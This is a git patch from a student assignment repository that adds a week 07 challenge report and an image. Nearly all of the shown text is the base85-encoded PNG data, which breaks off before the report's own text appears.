From 5a8fc27f2ba8f30cd941166986469afc33b27c79 Mon Sep 17 00:00:00 2001 From: 2godong Date: Tue, 23 Jun 2026 22:28:59 +0900 Subject: [PATCH] =?UTF-8?q?07=EA=B3=BC=EC=A0=9C=20=EB=AC=B8=EC=A0=9C?= =?UTF-8?q?=ED=92=80=EC=9D=B4=20=EB=B3=B4=EA=B3=A0=EC=84=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- assignment/week07/2godong/image.png | Bin 0 -> 35173 bytes assignment/week07/2godong/week07Challenge.md | 154 +++++++++++++++++++ 2 files changed, 154 insertions(+) create mode 100644 assignment/week07/2godong/image.png create mode 100644 assignment/week07/2godong/week07Challenge.md diff --git a/assignment/week07/2godong/image.png b/assignment/week07/2godong/image.png new file mode 100644 index 0000000000000000000000000000000000000000..2d55699081f6a1604032914ae655006dd6e58c0a GIT binary patch literal 35173 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 